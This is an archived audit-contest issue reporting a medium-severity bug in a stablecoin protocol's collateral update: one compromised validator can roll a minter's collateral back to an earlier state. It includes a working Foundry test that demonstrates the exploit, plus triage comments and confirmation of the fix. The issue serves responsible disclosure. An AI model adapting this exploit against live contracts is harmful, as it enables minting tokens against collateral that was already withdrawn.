Skip to content
This repository has been archived by the owner on Sep 29, 2024. It is now read-only.

pkqs90 - Validator threshold can be bypassed: a single compromised validator can update minter's state to historical state #46

Open
sherlock-admin4 opened this issue Mar 27, 2024 · 4 comments
Labels
Has Duplicates A valid issue with 1+ other issues describing the same vulnerability Medium A valid Medium severity issue Reward A payout will be made for this issue Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed

Comments

@sherlock-admin4
Copy link

sherlock-admin4 commented Mar 27, 2024

pkqs90

medium

Validator threshold can be bypassed: a single compromised validator can update minter's state to historical state

Summary

The updateCollateralValidatorThreshold specifies the minimum number of validators needed to confirm the validity of updateCollateral data. However, just one compromised validator is enough to alter a minter's collateral status. In particular, this vulnerability allows the compromised validator to set the minter's state back to a historical state, allowing malicious minters to increase their collateral.

Vulnerability Detail

The updateCollateral() function calls the _verifyValidatorSignatures() function, which calculates the minimum timestamp signed by all validators. This timestamp is then used to update the minter state's _minterStates[minter_].updateTimestamp. The constraint during this process is that the _minterStates[minter_].updateTimestamp must always be increasing.

Function updateCollateral():

        minTimestamp_ = _verifyValidatorSignatures(
            msg.sender,
            collateral_,
            retrievalIds_,
            metadataHash_,
            validators_,
            timestamps_,
            signatures_
        );
        ...
        _updateCollateral(msg.sender, safeCollateral_, minTimestamp_);
        ...

Function _updateCollateral():

    function _updateCollateral(address minter_, uint240 amount_, uint40 newTimestamp_) internal {
        uint40 lastUpdateTimestamp_ = _minterStates[minter_].updateTimestamp;

        // MinterGateway already has more recent collateral update
        if (newTimestamp_ <= lastUpdateTimestamp_) revert StaleCollateralUpdate(newTimestamp_, lastUpdateTimestamp_);

        _minterStates[minter_].collateral = amount_;
        _minterStates[minter_].updateTimestamp = newTimestamp_;
    }

If we have 1 compromised validator, its signature can be manipulated to any chosen timestamp. Consequently, this allows for control over the timestamp in _minterStates[minter_].updateTimestamp making it possible to update the minter's state to a historical state. An example is given in the following proof of concept. The key here is that even though updateCollateralValidatorThreshold may be set to 2 or even 3, as long as 1 validator is compromised, the attack vector would work, thus defeating the purpose of having a validator threshold.

Proof Of Concept

In this unit test, updateCollateralInterval is set to 2000 (default value). The updateCollateralValidatorThreshold is set to 2, and the _validator1 is compromised. Following the steps below, we show how we update minter to a historical state:

  1. Initial timestamp is T0.
  2. 100 seconds passed, the current timestamp is T0+100. Deposit 100e6 collateral at T0+100. _validator0 signs signature at T0+100, and _validator1 signs signature at T0+1. After updateCollateral(), minter state collateral = 100e6, and updateTimestamp = T0+1.
  3. Another 100 seconds passed, the current timestamp is T0+200. Propose retrieval for all collateral, and perform the retrieval offchain. _validator0 signs signature at T0+200, and _validator1 signs signature at T0+2. After updateCollateral(), minter state collateral = 0, and updateTimestamp = T0+2.
  4. Another 100 seconds passed, the current timestamp is T0+300. Reuse _validator0 signature from step 1, it is signed on timestamp T0+100. _validator1 signs collateral=100e6 at T0+3. After updateCollateral(), minter state collateral = 100e6, and updateTimestamp = T0+3.

Now, the minter is free to perform minting actions since his state claims collateral is 100e6, even though he has already retrieved it back in step 2. The mint proposal may even be proposed between step 1 and step 2 to reduce the mintDelay the minter has to wait.

Add the following testing code to MinterGateway.t.sol. See more description in code comments.

    function test_collateralStatusTimeTravelBySingleHackedValidator() external {
        _ttgRegistrar.updateConfig(TTGRegistrarReader.UPDATE_COLLATERAL_VALIDATOR_THRESHOLD, bytes32(uint256(2)));

        // Arrange validator addresses in increasing order.
        address[] memory validators = new address[](2);
        validators[0] = _validator2;
        validators[1] = _validator1;

        uint initialTimestamp = block.timestamp;
        bytes[] memory cacheSignatures = new bytes[](2);
        // 1. Deposit 100e6 collateral, and set malicious validator timestamp to `initialTimestamp+1` during `updateCollateral()`.
        {
            vm.warp(block.timestamp + 100);

            uint256[] memory retrievalIds = new uint256[](0);
            uint256[] memory timestamps = new uint256[](2);
            timestamps[0] = block.timestamp;
            timestamps[1] = initialTimestamp + 1;

            bytes[] memory signatures = new bytes[](2);
            signatures[0] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 100e6, retrievalIds, bytes32(0), block.timestamp, _validator2Pk);
            signatures[1] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 100e6, retrievalIds, bytes32(0), initialTimestamp + 1, _validator1Pk);
            cacheSignatures = signatures;

            vm.prank(_minter1);
            _minterGateway.updateCollateral(100e6, retrievalIds, bytes32(0), validators, timestamps, signatures);

            assertEq(_minterGateway.collateralOf(_minter1), 100e6);
            assertEq(_minterGateway.collateralUpdateTimestampOf(_minter1), initialTimestamp + 1);
        }

        // 2. Retrieve all collateral, and set malicious validator timestamp to `initialTimestamp+2` during `updateCollateral()`.
        {
            vm.prank(_minter1);
            uint256 retrievalId = _minterGateway.proposeRetrieval(100e6);

            vm.warp(block.timestamp + 100);

            uint256[] memory newRetrievalIds = new uint256[](1);
            newRetrievalIds[0] = retrievalId;

            uint256[] memory timestamps = new uint256[](2);
            timestamps[0] = block.timestamp;
            timestamps[1] = initialTimestamp + 2;

            bytes[] memory signatures = new bytes[](2);
            signatures[0] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 0, newRetrievalIds, bytes32(0), block.timestamp, _validator2Pk);
            signatures[1] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 0, newRetrievalIds, bytes32(0), initialTimestamp + 2, _validator1Pk);

            vm.prank(_minter1);
            _minterGateway.updateCollateral(0, newRetrievalIds, bytes32(0), validators, timestamps, signatures);

            assertEq(_minterGateway.collateralOf(_minter1), 0);
            assertEq(_minterGateway.collateralUpdateTimestampOf(_minter1), initialTimestamp + 2);
        }

        // 3. Reuse signature from step 1, and set malicious validator timestamp to `initialTimestamp+3` during `updateCollateral()`.
        //    We have successfully "travelled back in time", and minter1's collateral is back to 100e6.
        {
            vm.warp(block.timestamp + 100);

            uint256[] memory retrievalIds = new uint256[](0);
            uint256[] memory timestamps = new uint256[](2);
            timestamps[0] = block.timestamp - 200;
            timestamps[1] = initialTimestamp + 3;

            bytes[] memory signatures = new bytes[](2);
            signatures[0] = cacheSignatures[0];
            signatures[1] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 100e6, retrievalIds, bytes32(0), initialTimestamp + 3, _validator1Pk);

            vm.prank(_minter1);
            _minterGateway.updateCollateral(100e6, retrievalIds, bytes32(0), validators, timestamps, signatures);

            assertEq(_minterGateway.collateralOf(_minter1), 100e6);
            assertEq(_minterGateway.collateralUpdateTimestampOf(_minter1), initialTimestamp + 3);
        }
    }

Impact

As shown in the proof of concept, the minter can use the extra collateral to mint M tokens for free.

One may claim that during minting, the collateralOf() function checks for block.timestamp < collateralExpiryTimestampOf(minter_), however, since during deployment updateCollateralInterval is set to 86400, that gives us enough time to perform the attack vector before "fake" collateral expires.

Code Snippet

Tool used

Foundary

Recommendation

Use the maximum timestamp of all validators instead of minimum, or take the threshold-last minimum instead of the most minimum.

@github-actions github-actions bot added High A valid High severity issue Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label labels Mar 31, 2024
@sherlock-admin2
Copy link
Contributor

1 comment(s) were left on this issue during the judging contest.

takarez commented:

compromises happens due to user mistake which is invalid according to sherlock rules and also; the validator has the power to update the minter state including mint request.

@nevillehuang nevillehuang reopened this Apr 4, 2024
@nevillehuang nevillehuang reopened this Apr 4, 2024
@nevillehuang nevillehuang added Has Duplicates A valid issue with 1+ other issues describing the same vulnerability and removed Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label labels Apr 4, 2024
@nevillehuang nevillehuang added Medium A valid Medium severity issue and removed High A valid High severity issue labels Apr 4, 2024
@sherlock-admin4 sherlock-admin4 changed the title Salty Chili Cormorant - Validator threshold can be bypassed: a single compromised validator can update minter's state to historical state pkqs90 - Validator threshold can be bypassed: a single compromised validator can update minter's state to historical state Apr 5, 2024
@sherlock-admin4 sherlock-admin4 added the Reward A payout will be made for this issue label Apr 5, 2024
@deluca-mike
Copy link

deluca-mike commented Apr 9, 2024

This is a great catch! Please reopen this as it is the most clear issue that demonstrates the issue in the simplest/purest form. The others may be duplicates if this (albeit less valid, clear, or event incorrect).

@sherlock-admin2 sherlock-admin2 added Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed labels Apr 10, 2024
@sherlock-admin4
Copy link
Author

The protocol team fixed this issue in the following PRs/commits:
m0-foundation/protocol#163

@sherlock-admin4
Copy link
Author

The Lead Senior Watson signed off on the fix.

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
Has Duplicates A valid issue with 1+ other issues describing the same vulnerability Medium A valid Medium severity issue Reward A payout will be made for this issue Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed
Projects
None yet
Development

No branches or pull requests

4 participants